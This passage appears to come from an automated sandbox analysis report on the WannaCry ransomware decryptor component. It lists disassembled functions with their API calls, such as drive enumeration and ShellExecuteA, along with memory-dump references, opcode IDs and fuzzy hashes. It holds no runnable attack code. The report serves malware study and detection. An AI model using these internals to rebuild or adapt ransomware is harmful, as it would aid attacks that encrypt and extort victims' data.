                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#2414#283ClientRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3728838672-0
                                                                                                                          • Opcode ID: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                                                                                                          • Instruction ID: 278ac0b80a8d68711b6ced8a2ef72b48c78586c4dd5442d856e74ad00dc42751
                                                                                                                          • Opcode Fuzzy Hash: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                                                                                                          • Instruction Fuzzy Hash: DB113375204741AFC314DF69D985F9BB7E8FB88714F008A1EB55AD3280DB78E8448B55
                                                                                                                          Function 00406940 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#2414#283ClientRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3728838672-0
                                                                                                                          • Opcode ID: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                                                                                                          • Instruction ID: 6a096d29dde81ab0807628e72033e91f5df492254ff76bbe7bc423a6b66a9ecc
                                                                                                                          • Opcode Fuzzy Hash: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                                                                                                          • Instruction Fuzzy Hash: CB113375204741AFC314DF69D985F9BB7E8FB8C714F008A1EB599D3280DB78D8058BA5
                                                                                                                          Function 00404EB0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#2414#283ClientRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3728838672-0
                                                                                                                          • Opcode ID: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                                                                                                          • Instruction ID: d163b7983d6ef18c2c490a4321b6073019a727c2a72f1ecd8d9e2d5251008e6b
                                                                                                                          • Opcode Fuzzy Hash: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                                                                                                          • Instruction Fuzzy Hash: CB113375204701AFC314DF69D985F9BB7E8FB88714F008A1EB599D3280DB78D8058B55
                                                                                                                          Function 00404310 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #470.MFC42(?,00000000), ref: 0040433F
                                                                                                                          • #5789.MFC42 ref: 00404354
                                                                                                                          • #5875.MFC42(00000001), ref: 00404361
                                                                                                                          • #6172.MFC42(?,00000001), ref: 0040436E
                                                                                                                          • #5789.MFC42(00000000), ref: 0040438F
                                                                                                                          • #755.MFC42(00000000), ref: 004043A0
                                                                                                                            • Part of subcall function 004044C0: GetParent.USER32(?), ref: 004044D2
                                                                                                                            • Part of subcall function 004044C0: #2864.MFC42(00000000), ref: 004044D9
                                                                                                                            • Part of subcall function 004044C0: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                                                                                                            • Part of subcall function 004044C0: #2860.MFC42(00000000), ref: 004044EF
                                                                                                                            • Part of subcall function 004044C0: GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                                                                                                            • Part of subcall function 004044C0: CreateFontIndirectA.GDI32(?), ref: 00404513
                                                                                                                            • Part of subcall function 004044C0: #1641.MFC42(00000000), ref: 0040451D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#1641#2860#2864#470#5875#6172#755CreateFontIndirectMessageObjectParentSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3301245081-0
                                                                                                                          • Opcode ID: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                                                                                                          • Instruction ID: 67bcf298962d36d7fa18f20cd84a87d7b1dd540c5c31f1d51ecab4020f7c2e08
                                                                                                                          • Opcode Fuzzy Hash: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                                                                                                          • Instruction Fuzzy Hash: 4611CE71104300AFC310EF14D841FDAB7A4EF94724F008A1EF5A6932D0CBB8A484CB62
                                                                                                                          Function 00403EB0 Relevance: 9.0, APIs: 6, Instructions: 24COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                                                                                                          • #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                                                                                                          • #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                                                                                                          • #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                                                                                                          • #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                                                                                                          • #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2642#3092
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2547810013-0
                                                                                                                          • Opcode ID: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                                                                                                          • Instruction ID: 4bb7b71439f2442b6829c2e1ec9f7e71f44d4abaae38a5a684cddd693ffb540b
                                                                                                                          • Opcode Fuzzy Hash: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                                                                                                          • Instruction Fuzzy Hash: 46D0ECB179425427D9543273AE1BD9F4959AFE1B15B10052FB301EB2C2ECFC58A282AD
                                                                                                                          Function 00403A20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetLogicalDrives.KERNEL32 ref: 00403A35
                                                                                                                          • GetDriveTypeW.KERNEL32 ref: 00403A7A
                                                                                                                          • GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: DiskDriveDrivesFreeLogicalSpaceType
                                                                                                                          • String ID: : $\
                                                                                                                          • API String ID: 222820107-856521285
                                                                                                                          • Opcode ID: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                                                                                                          • Instruction ID: 7a2fb974cbacd17fa61847377d7cab912bc040039a87a27a6beb81165ce83d4b
                                                                                                                          • Opcode Fuzzy Hash: 8d838ba2e6f39d2646f0809dd41db9d52f5210801079b522eea1ca76c3ac80bf
                                                                                                                          • Instruction Fuzzy Hash: 2D116D31614301ABD315DF15D884AABBBE8FBC8710F04882EF88597290E775E948CB9A
                                                                                                                          Function 00406EF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #823.MFC42(?), ref: 00406F15
                                                                                                                          • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406F3F
                                                                                                                          • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00406F57
                                                                                                                          • #825.MFC42(?), ref: 00406F62
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #823#825ExecuteMessageSendShell
                                                                                                                          • String ID: open
                                                                                                                          • API String ID: 1093558810-2758837156
                                                                                                                          • Opcode ID: b3555fc8e5306fa9c71381116aefee59a3ba052e6f8451af1c149dcc11f64dcc
                                                                                                                          • Instruction ID: 5f9a2cd0b307edef7ddb37fa3a9b8e73568683458afc550aac563bbb23be8fd8
                                                                                                                          • Opcode Fuzzy Hash: b3555fc8e5306fa9c71381116aefee59a3ba052e6f8451af1c149dcc11f64dcc
                                                                                                                          • Instruction Fuzzy Hash: 0C0148B0A50301AFE610DF24DD4AF5B77E8AB84B14F00C42AF9499B291E6B4E814CB96
                                                                                                                          Function 004030E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                                                                                                          • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                                                                                                          • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #567$#324
                                                                                                                          • String ID: 0ZA$DZA
                                                                                                                          • API String ID: 784016053-3838179817
                                                                                                                          • Opcode ID: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                                                                                                          • Instruction ID: 8222d1989983ac506c5d09346421d66fb4ae1402eeff5ebed15e971907ed65db
                                                                                                                          • Opcode Fuzzy Hash: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                                                                                                          • Instruction Fuzzy Hash: 430169B1244B42CBD310CF19C580BDAFBE4FB84750F90892EE1AA9B741C3B864458B9A
                                                                                                                          Function 00404C40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
                                                                                                                          • #540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
                                                                                                                          • #860.MFC42(00421798), ref: 00404CAD
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #324#540#860
                                                                                                                          • String ID: 0ZA$DZA
                                                                                                                          • API String ID: 1048258301-3838179817
                                                                                                                          • Opcode ID: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                                                                                                          • Instruction ID: 18ed51ee5778a88a9d54698e5e0d11c9dbfb79b85878934ba46accb8ddaa74ae
                                                                                                                          • Opcode Fuzzy Hash: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                                                                                                          • Instruction Fuzzy Hash: 880169B1644B50DBD311DF09D605BAABBE4FBD1B24F004A1EF1928B790C7BC95488BDA
                                                                                                                          Function 00408B40 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • BitBlt.GDI32(?,?,00000001,?,?,00000000,?,00000001,00CC0020), ref: 00408BA7
                                                                                                                          • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BBA
                                                                                                                          • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BC9
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BEA
                                                                                                                          • #640.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BFF
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5785$#2414#640
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2719443296-0
                                                                                                                          • Opcode ID: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                                                                                                          • Instruction ID: 86c9330ab4234590f1f3c164cda9a19739b95e23c8a4d3600225c259667158ab
                                                                                                                          • Opcode Fuzzy Hash: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                                                                                                          • Instruction Fuzzy Hash: E1215CB5200B419FC324DF1ACA44A67FBE8EB88710F008A1EF59697781D7B8F8458B65
                                                                                                                          Function 00404530 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #289.MFC42 ref: 0040455F
                                                                                                                          • #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                                                                                                          • GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                                                                                                          • #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                                                                                                          • #613.MFC42 ref: 004045BB
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#289#613ExtentPoint32Text
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 888490064-0
                                                                                                                          • Opcode ID: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                                                                                                          • Instruction ID: e6b376e8f5faa3704f84febb4d8b873e9abde4cd399f019e979504a664a0483f
                                                                                                                          • Opcode Fuzzy Hash: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                                                                                                          • Instruction Fuzzy Hash: C8119DB5108780AFC310DF18D980B97BBE8EB88714F044A1DF49293681C7B8A845CB22
                                                                                                                          Function 00406CF0 Relevance: 7.5, APIs: 5, Instructions: 48windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
                                                                                                                          • #353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,75F020C0), ref: 00406D39
                                                                                                                          • SendMessageA.USER32 ref: 00406D69
                                                                                                                          • #1979.MFC42 ref: 00406D6F
                                                                                                                          • #665.MFC42 ref: 00406D87
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#1979#353#665
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3794212480-0
                                                                                                                          • Opcode ID: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                                                                                                          • Instruction ID: 970bbd2b9484f858b006173e4a833a93101fbe0026f1fdcd253c6fb41473c1ec
                                                                                                                          • Opcode Fuzzy Hash: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                                                                                                          • Instruction Fuzzy Hash: EA1170B1244701AFD210EF15C942F9BB7E4BF94B14F504A1EF156A72C0C7B8A905CB5A
                                                                                                                          Function 00407DB0 Relevance: 7.5, APIs: 5, Instructions: 42COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00401000: #324.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401029
                                                                                                                            • Part of subcall function 00401000: #567.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401039
                                                                                                                          • time.MSVCRT ref: 00407DEA
                                                                                                                          • #2514.MFC42 ref: 00407E18
                                                                                                                          • time.MSVCRT(00000000), ref: 00407E2A
                                                                                                                          • #765.MFC42 ref: 00407E49
                                                                                                                          • #641.MFC42 ref: 00407E5D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: time$#2514#324#567#641#765
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3372871541-0
                                                                                                                          • Opcode ID: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                                                                                                          • Instruction ID: 27345a9b2c1eb8b6f7bb2a745056f56b64ece2280f016bc8de7da71c9126f67a
                                                                                                                          • Opcode Fuzzy Hash: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                                                                                                          • Instruction Fuzzy Hash: 4C11AD70A097809FE320EF24CA41BDA77E0BB94714F40462EE589872D0EB786445CB97
                                                                                                                          Function 004031A0 Relevance: 7.5, APIs: 5, Instructions: 40COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 004031DF
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403201
                                                                                                                          • #616.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403217
                                                                                                                          • #693.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403224
                                                                                                                          • #641.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403233
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414$#616#641#693
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1164084425-0
                                                                                                                          • Opcode ID: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                                                                                                          • Instruction ID: e1576da2e33af18b213473c47bce756763974573e8f92b07b932385a5cbbc76a
                                                                                                                          • Opcode Fuzzy Hash: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                                                                                                          • Instruction Fuzzy Hash: FF112774108B82CAC300DF19C1413CAFBE8AFA5714F54891FE0A6972A2D7F851998BE6
                                                                                                                          Function 00403AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
